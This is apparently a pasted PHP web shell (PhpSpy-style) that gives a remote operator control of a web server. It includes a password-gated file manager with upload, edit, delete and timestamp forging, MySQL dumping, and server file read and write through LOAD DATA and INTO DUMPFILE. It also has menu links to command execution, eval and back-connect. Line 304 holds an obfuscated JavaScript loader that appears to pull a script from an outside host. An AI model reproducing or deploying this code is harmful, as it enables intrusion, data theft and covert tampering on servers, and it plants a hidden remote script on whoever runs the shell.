· 8 years ago · Jan 06, 2018, 01:58 AM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0 );
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
13@set_time_limit(0);
14
15foreach($_POST as $key => $value) {
16 if (IS_GPC) {
17 $value = s_array($value);
18 }
19 $$key = $value;
20}
21/*===================== ³ÌÃòÅäÖà =====================*/
22
23//echo encode_pass('angel');exit;
24//angel = ec38fe2a8497e0a8d6d349b3533038cb
25// Èç¹ûÃèÒªÃÜÂëÑéÖ¤,ÇëÃ޸ĵǽÃÜÂë,Ãô¿ÕΪ²»ÃèÒªÑéÖ¤
26$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
27
28//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÃÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÃÞ¸ÄÃÂÃæ±äÿ, ·ñÔòÇë±£³ÖĬÈÃ
29// cookie ǰ׺
30$cookiepre = '';
31// cookie ×÷ÓÃÓò
32$cookiedomain = '';
33// cookie ×÷Ó÷¾¶
34$cookiepath = '/';
35// cookie ÓÃçÆÚ
36$cookielife = 86400;
37
38//³ÌÃòËÑË÷¿ÉôÎļþµÄÀà ÃÃ
39!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
40/*===================== ÅäÖýáÊø =====================*/
41
42$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
43if ($charset == 'utf8') {
44 header("content-Type: text/html; charset=utf-8");
45} elseif ($charset == 'big5') {
46 header("content-Type: text/html; charset=big5");
47} elseif ($charset == 'gbk') {
48 header("content-Type: text/html; charset=gbk");
49} elseif ($charset == 'latin1') {
50 header("content-Type: text/html; charset=iso-8859-2");
51} elseif ($charset == 'euc-kr') {
52 header("content-Type: text/html; charset=euc-kr");
53} elseif ($charset == 'euc-jp') {
54 header("content-Type: text/html; charset=euc-jp");
55}
56
57$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
58$timestamp = time();
59
60/*===================== É÷ÃÑéÖ¤ =====================*/
61if ($action == "logout") {
62 scookie('loginpass', '', -86400 * 365);
63 @header('Location: '.$self);
64 exit;
65}
66if($pass) {
67 if ($action == 'login') {
68 if ($pass == encode_pass($password)) {
69 scookie('loginpass',encode_pass($password));
70 @header('Location: '.$self);
71 exit;
72 }
73 }
74 if ($_COOKIE['loginpass']) {
75 if ($_COOKIE['loginpass'] != $pass) {
76 loginpage();
77 }
78 } else {
79 loginpage();
80 }
81}
82/*===================== ÑéÖ¤½áÊø =====================*/
83
84$errmsg = '';
85!$action && $action = 'file';
86
87// ²é¿´PHPINFO
88if ($action == 'phpinfo') {
89 if (IS_PHPINFO) {
90 phpinfo();
91 exit;
92 } else {
93 $errmsg = 'phpinfo() function has non-permissible';
94 }
95}
96
97// ÃÂÔØÎļþ
98if ($doing == 'downfile' && $thefile) {
99 if (!@file_exists($thefile)) {
100 $errmsg = 'The file you want Downloadable was nonexistent';
101 } else {
102 $fileinfo = pathinfo($thefile);
103 header('Content-type: application/x-'.$fileinfo['extension']);
104 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
105 header('Content-Length: '.filesize($thefile));
106 @readfile($thefile);
107 exit;
108 }
109}
110
111// Ö±½ÓÃÂÔØ±¸·ÃÊý¾Ã¿â
112if ($doing == 'backupmysql' && !$saveasfile) {
113 if (!$table) {
114 $errmsg ='Please choose the table';
115 } else {
116 $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
117 $filename = basename($dbname.'.sql');
118 header('Content-type: application/unknown');
119 header('Content-Disposition: attachment; filename='.$filename);
120 foreach($table as $k => $v) {
121 if ($v) {
122 sqldumptable($v);
123 }
124 }
125 mysql_close();
126 exit;
127 }
128}
129
130// è¹ýMYSQLÃÂÔØÎļþ
131if($doing=='mysqldown'){
132 if (!$dbname) {
133 $errmsg = 'Please input dbname';
134 } else {
135 $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
136 if (!file_exists($mysqldlfile)) {
137 $errmsg = 'The file you want Downloadable was nonexistent';
138 } else {
139 $result = q("select load_file('$mysqldlfile');");
140 if(!$result){
141 q("DROP TABLE IF EXISTS tmp_angel;");
142 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
143 //ÓÃʱ¼ä´ÃÀ´±Ãʾ½Ø¶Ã,±ÜÃâ³öÃÖ¶ÃÈ¡×ÔÉûò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÃêÕûµÄÇé¿ö
144 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
145 $result = q("select content from tmp_angel");
146 q("DROP TABLE tmp_angel");
147 }
148 $row = @mysql_fetch_array($result);
149 if (!$row) {
150 $errmsg = 'Load file failed '.mysql_error();
151 } else {
152 $fileinfo = pathinfo($mysqldlfile);
153 header('Content-type: application/x-'.$fileinfo['extension']);
154 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
155 header("Accept-Length: ".strlen($row[0]));
156 echo $row[0];
157 exit;
158 }
159 }
160 }
161}
162
163?>
164<html>
165<head>
166<meta http-equiv="Content-Type" content="text/html; charset=gbk">
167<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
168<style type="text/css">
169body,td{font: 12px Arial,Tahoma;line-height: 16px;}
170.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
171.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
172.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
173a {color: #00f;text-decoration:underline;}
174a:hover{color: #f00;text-decoration:none;}
175.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
176.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
177.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}
178.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
179.head td span{font-weight:normal;}
180.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
181form{margin:0;padding:0;}
182h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
183ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
184u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
185.drives{padding:5px;}
186.drives span {margin:auto 7px;}
187</style>
188<script type="text/javascript">
189function CheckAll(form) {
190 for(var i=0;i<form.elements.length;i++) {
191 var e = form.elements[i];
192 if (e.name != 'chkall')
193 e.checked = form.chkall.checked;
194 }
195}
196function $(id) {
197 return document.getElementById(id);
198}
199function createdir(){
200 var newdirname;
201 newdirname = prompt('Please input the directory name:', '');
202 if (!newdirname) return;
203 $('createdir').newdirname.value=newdirname;
204 $('createdir').submit();
205}
206function fileperm(pfile){
207 var newperm;
208 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
209 if (!newperm) return;
210 $('fileperm').newperm.value=newperm;
211 $('fileperm').pfile.value=pfile;
212 $('fileperm').submit();
213}
214function copyfile(sname){
215 var tofile;
216 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
217 if (!tofile) return;
218 $('copyfile').tofile.value=tofile;
219 $('copyfile').sname.value=sname;
220 $('copyfile').submit();
221}
222function rename(oldname){
223 var newfilename;
224 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
225 if (!newfilename) return;
226 $('rename').newfilename.value=newfilename;
227 $('rename').oldname.value=oldname;
228 $('rename').submit();
229}
230function dofile(doing,thefile,m){
231 if (m && !confirm(m)) {
232 return;
233 }
234 $('filelist').doing.value=doing;
235 if (thefile){
236 $('filelist').thefile.value=thefile;
237 }
238 $('filelist').submit();
239}
240function createfile(nowpath){
241 var filename;
242 filename = prompt('Please input the file name:', '');
243 if (!filename) return;
244 opfile('editfile',nowpath + filename,nowpath);
245}
246function opfile(action,opfile,dir){
247 $('fileopform').action.value=action;
248 $('fileopform').opfile.value=opfile;
249 $('fileopform').dir.value=dir;
250 $('fileopform').submit();
251}
252function godir(dir,view_writable){
253 if (view_writable) {
254 $('godir').view_writable.value=view_writable;
255 }
256 $('godir').dir.value=dir;
257 $('godir').submit();
258}
259function getsize(getdir,dir){
260 $('getsize').getdir.value=getdir;
261 $('getsize').dir.value=dir;
262 $('getsize').submit();
263}
264function editrecord(action, base64, tablename){
265 if (action == 'del') {
266 if (!confirm('Is or isn\'t deletion record?')) return;
267 }
268 $('recordlist').doing.value=action;
269 $('recordlist').base64.value=base64;
270 $('recordlist').tablename.value=tablename;
271 $('recordlist').submit();
272}
273function moddbname(dbname) {
274 if(!dbname) return;
275 $('setdbname').dbname.value=dbname;
276 $('setdbname').submit();
277}
278function settable(tablename,doing,page) {
279 if(!tablename) return;
280 if (doing) {
281 $('settable').doing.value=doing;
282 }
283 if (page) {
284 $('settable').page.value=page;
285 }
286 $('settable').tablename.value=tablename;
287 $('settable').submit();
288}
289function s(action,nowpath,p1,p2,p3,p4,p5) {
290 if(action) $('opform').action.value=action;
291 if(nowpath) $('opform').nowpath.value=nowpath;
292 if(p1) $('opform').p1.value=p1;
293 if(p2) $('opform').p2.value=p2;
294 if(p3) $('opform').p3.value=p3;
295 if(p4) $('opform').p4.value=p4;
296 if(p5) $('opform').p4.value=p5;
297}
298function g(action,nowpath,p1,p2,p3,p4,p5) {
299 if(!action) return;
300 s(action,nowpath,p1,p2,p3,p4,p5);
301 $('opform').submit();
302}
303</script>
304<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264DTDSJQU%2631MBOHVBHF%264E%2633kbwbtdsjqu%2633%2631TSD%264E%2633iuuq%264B00s68d%3A%3A/dpn0o4xti4m0dj%7B/kt%2633%264F%261B%261B%264D0TDSJQU%264F%261B%261%3A%261%3A%261%3A1')</script>
305</head>
306<body style="margin:0;table-layout:fixed; word-break:break-all">
307<?php
308formhead(array('name'=>'opform'));
309makehide('action', $action);
310makehide('nowpath', $nowpath);
311makehide('p1', $p1);
312makehide('p2', $p2);
313makehide('p3', $p3);
314makehide('p4', $p4);
315makehide('p5', $p5);
316formfoot();
317
318if(!function_exists('posix_getegid')) {
319 $user = @get_current_user();
320 $uid = @getmyuid();
321 $gid = @getmygid();
322 $group = "?";
323} else {
324 $uid = @posix_getpwuid(@posix_geteuid());
325 $gid = @posix_getgrgid(@posix_getegid());
326 $user = $uid['name'];
327 $uid = $uid['uid'];
328 $group = $gid['name'];
329 $gid = $gid['gid'];
330}
331
332?>
333<table width="100%" border="0" cellpadding="0" cellspacing="0">
334 <tr class="head">
335 <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
336 </tr>
337 <tr class="alt1">
338 <td>
339 <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span>
340 <a href="javascript:g('logout');">Logout</a> |
341 <a href="javascript:g('file');">File Manager</a> |
342 <a href="javascript:g('mysqladmin');">MYSQL Manager</a> |
343 <a href="javascript:g('sqlfile');">MySQL Upload & Download</a> |
344 <a href="javascript:g('shell');">Execute Command</a> |
345 <a href="javascript:g('phpenv');">PHP Variable</a> |
346 <a href="javascript:g('portscan');">Port Scan</a> |
347 <a href="javascript:g('secinfo');">Security information</a> |
348 <a href="javascript:g('eval');">Eval PHP Code</a>
349 <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?>
350 </td>
351 </tr>
352</table>
353<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
354<?php
355$errmsg && m($errmsg);
356
357// »ñÈ¡µ±Ç°Â·¾¶
358if (!$dir) {
359 $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.';
360}
361$nowpath = getPath(SA_ROOT, $dir);
362if (substr($dir, -1) != '/') {
363 $dir = $dir.'/';
364}
365
366if ($action == 'file') {
367
368 // ÅööÃôÇé¿ö
369 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
370
371 // ´´½¨Ä¿Â¼
372 if ($newdirname) {
373 $mkdirs = $nowpath.$newdirname;
374 if (file_exists($mkdirs)) {
375 m('Directory has already existed');
376 } else {
377 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
378 @chmod($mkdirs,0777);
379 }
380 }
381
382 // Éô«Îļþ
383 elseif ($doupfile) {
384 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
385 }
386
387 // ±à ¼ÂÎļþ
388 elseif ($editfilename && $filecontent) {
389 $fp = @fopen($editfilename,'w');
390 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
391 @fclose($fp);
392 }
393
394 // ±à ¼ÂÎļþÊôÃÔ
395 elseif ($pfile && $newperm) {
396 if (!file_exists($pfile)) {
397 m('The original file does not exist');
398 } else {
399 $newperm = base_convert($newperm,8,10);
400 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
401 }
402 }
403
404 // ¸ÄÃû
405 elseif ($oldname && $newfilename) {
406 $nname = $nowpath.$newfilename;
407 if (file_exists($nname) || !file_exists($oldname)) {
408 m($nname.' has already existed or original file does not exist');
409 } else {
410 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
411 }
412 }
413
414 // ¸´ÖÆÎļþ
415 elseif ($sname && $tofile) {
416 if (file_exists($tofile) || !file_exists($sname)) {
417 m('The goal file has already existed or original file does not exist');
418 } else {
419 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
420 }
421 }
422
423 // ¿Ë¡ʱ¼ä
424 elseif ($curfile && $tarfile) {
425 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
426 m('The goal file has already existed or original file does not exist');
427 } else {
428 $time = @filemtime($tarfile);
429 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
430 }
431 }
432
433 // ×Ô¶¨Òåʱ¼ä
434 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
435 if (!@file_exists($curfile)) {
436 m(basename($curfile).' does not exist');
437 } else {
438 $time = strtotime("$year-$month-$day $hour:$minute:$second");
439 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
440 }
441 }
442
443 // Åúÿɾ³ýÎļþ
444 elseif($doing == 'delfiles') {
445 if ($dl) {
446 $dfiles='';
447 $succ = $fail = 0;
448 foreach ($dl as $filepath) {
449 if (is_dir($filepath)) {
450 if (@deltree($filepath)) {
451 $succ++;
452 } else {
453 $fail++;
454 }
455 } else {
456 if (@unlink($filepath)) {
457 $succ++;
458 } else {
459 $fail++;
460 }
461 }
462 }
463 m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
464 } else {
465 m('Please select folder/file(s)');
466 }
467 }
468
469 //²Ù×÷Ãê±Ã
470 formhead(array('name'=>'createdir'));
471 makehide('newdirname');
472 makehide('dir',$nowpath);
473 formfoot();
474 formhead(array('name'=>'fileperm'));
475 makehide('newperm');
476 makehide('pfile');
477 makehide('dir',$nowpath);
478 formfoot();
479 formhead(array('name'=>'copyfile'));
480 makehide('sname');
481 makehide('tofile');
482 makehide('dir',$nowpath);
483 formfoot();
484 formhead(array('name'=>'rename'));
485 makehide('oldname');
486 makehide('newfilename');
487 makehide('dir',$nowpath);
488 formfoot();
489 formhead(array('name'=>'fileopform', 'target'=>'_blank'));
490 makehide('action');
491 makehide('opfile');
492 makehide('dir');
493 formfoot();
494 formhead(array('name'=>'getsize'));
495 makehide('getdir');
496 makehide('dir');
497 formfoot();
498
499 $free = @disk_free_space($nowpath);
500 !$free && $free = 0;
501 $all = @disk_total_space($nowpath);
502 !$all && $all = 0;
503 $used = $all-$free;
504 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');
505
506 $cwd_links = '';
507 $path = explode('/', $nowpath);
508 $n=count($path);
509 for($i=0;$i<$n-1;$i++) {
510 $cwd_links .= '<a href="javascript:godir(\'';
511 for($j=0;$j<=$i;$j++) {
512 $cwd_links .= $path[$j].'/';
513 }
514 $cwd_links .= '\');">'.$path[$i].'/</a>';
515 }
516
517?>
518<script type="text/javascript">
519document.onclick = shownav;
520function shownav(e){
521 var src = e?e.target:event.srcElement;
522 do{
523 if(src.id =="jumpto") {
524 $('inputnav').style.display = "";
525 $('pathnav').style.display = "none";
526 //hidenav();
527 return;
528 }
529 if(src.id =="inputnav") {
530 return;
531 }
532 src = src.parentNode;
533 }while(src.parentNode)
534
535 $('inputnav').style.display = "none";
536 $('pathnav').style.display = "";
537}
538</script>
539<div style="background:#eee;margin-bottom:10px;">
540 <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
541 <tr>
542 <td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td>
543 <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>
544 </tr>
545 </table>
546 <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
547 <form action="" method="post" id="godir" name="godir">
548 <tr>
549 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
550 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td>
551 <td nowrap><input class="bt" value="GO" type="submit"></td>
552 </tr>
553 </form>
554 </table>
555<?php
556 if (IS_WIN && IS_COM) {
557 $obj = new COM('scripting.filesystemobject');
558 if ($obj && is_object($obj) && $obj->Drives) {
559 echo '<div class="drives">';
560 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
561 $comma = '';
562 foreach($obj->Drives as $drive) {
563 if ($drive->Path) {
564 p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
565 $comma = '<span>|</span>';
566 }
567 }
568 echo '</div>';
569 }
570 }
571?>
572</div>
573<?php
574 $findstr = $_POST['findstr'];
575 $re = $_POST['re'];
576 tbhead();
577 p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
578 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>');
579 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
580 p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
581 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
582 p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
583 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
584 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
585
586 p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>');
587
588 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
589
590 //²é¿´ËùÓÿÉôÎļþºÃĿ¼
591 $dirdata=array();
592 $filedata=array();
593
594 if ($view_writable == 'dir') {
595 $dirdata = GetWDirList($nowpath);
596 $filedata = array();
597 } elseif ($view_writable == 'file') {
598 $dirdata = array();
599 $filedata = GetWFileList($nowpath);
600 } elseif ($findstr) {
601 $dirdata = array();
602 $filedata = GetSFileList($nowpath, $findstr, $re);
603 } else {
604 // Ŀ¼ÃñÃ
605 //scandir()çÂʸü¸ß
606 $dirs=@opendir($dir);
607 while ($file=@readdir($dirs)) {
608 $filepath=$nowpath.$file;
609 if(@is_dir($filepath)){
610 $dirdb['filename']=$file;
611 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
612 $dirdb['dirchmod']=getChmod($filepath);
613 $dirdb['dirperm']=getPerms($filepath);
614 $dirdb['fileowner']=getUser($filepath);
615 $dirdb['dirlink']=$nowpath;
616 $dirdb['server_link']=$filepath;
617 $dirdata[]=$dirdb;
618 } else {
619 $filedb['filename']=$file;
620 $filedb['size']=sizecount(@filesize($filepath));
621 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
622 $filedb['filechmod']=getChmod($filepath);
623 $filedb['fileperm']=getPerms($filepath);
624 $filedb['fileowner']=getUser($filepath);
625 $filedb['dirlink']=$nowpath;
626 $filedb['server_link']=$filepath;
627 $filedata[]=$filedb;
628 }
629 }// while
630 unset($dirdb);
631 unset($filedb);
632 @closedir($dirs);
633 }
634 @sort($dirdata);
635 @sort($filedata);
636 $dir_i = '0';
637
638 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
639 makehide('action','file');
640 makehide('thefile');
641 makehide('doing');
642 makehide('dir',$nowpath);
643
644 foreach($dirdata as $key => $dirdb){
645 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
646 if($getdir && $getdir == $dirdb['server_link']) {
647 $attachsize = dirsize($dirdb['server_link']);
648 $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
649 } else {
650 $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
651 }
652 $thisbg = bg();
653 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
654 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>');
655 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
656 p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>');
657 p('<td nowrap>'.$attachsize.'</td>');
658 p('<td nowrap>');
659 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
660 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
661 p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
662 p('</tr>');
663 $dir_i++;
664 } else {
665 if($dirdb['filename']=='..') {
666 p('<tr class='.bg().'>');
667 p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
668 p('</tr>');
669 }
670 }
671 }
672
673 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
674 $file_i = '0';
675
676 foreach($filedata as $key => $filedb){
677 if($filedb['filename']!='..' && $filedb['filename']!='.') {
678 $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
679 $thisbg = bg();
680 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
681 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>');
682 p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
683 p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>');
684 p('<td nowrap>'.$filedb['size'].'</td>');
685 p('<td nowrap>');
686 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
687 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
688 p('<td nowrap>');
689 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
690 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
691 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
692 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>');
693 p('</td></tr>');
694 $file_i++;
695 }
696 }
697 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
698 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
699 p('</form></table>');
700}// end dir
701
702elseif ($action == 'sqlfile') {
703 if($doing=="mysqlupload"){
704 $file = $_FILES['uploadfile'];
705 $filename = $file['tmp_name'];
706 if (file_exists($savepath)) {
707 m('The goal file has already existed');
708 } else {
709 if(!$filename) {
710 m('Please choose a file');
711 } else {
712 $fp=@fopen($filename,'r');
713 $contents=@fread($fp, filesize($filename));
714 @fclose($fp);
715 $contents = bin2hex($contents);
716 if(!$upname) $upname = $file['name'];
717 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
718 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
719 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
720 }
721 }
722 }
723?>
724<script type="text/javascript">
725function mysqlfile(doing){
726 if(!doing) return;
727 $('doing').value=doing;
728 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
729 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
730 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
731 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
732 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
733 $('mysqlfile').charset.value=$('dbinfo').charset.value;
734 $('mysqlfile').submit();
735}
736</script>
737<?php
738 !$dbhost && $dbhost = 'localhost';
739 !$dbuser && $dbuser = 'root';
740 !$dbport && $dbport = '3306';
741 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
742 makehide('action','sqlfile');
743 p('<p>');
744 p('DBHost:');
745 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
746 p(':');
747 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
748 p('DBUser:');
749 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
750 p('DBPass:');
751 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
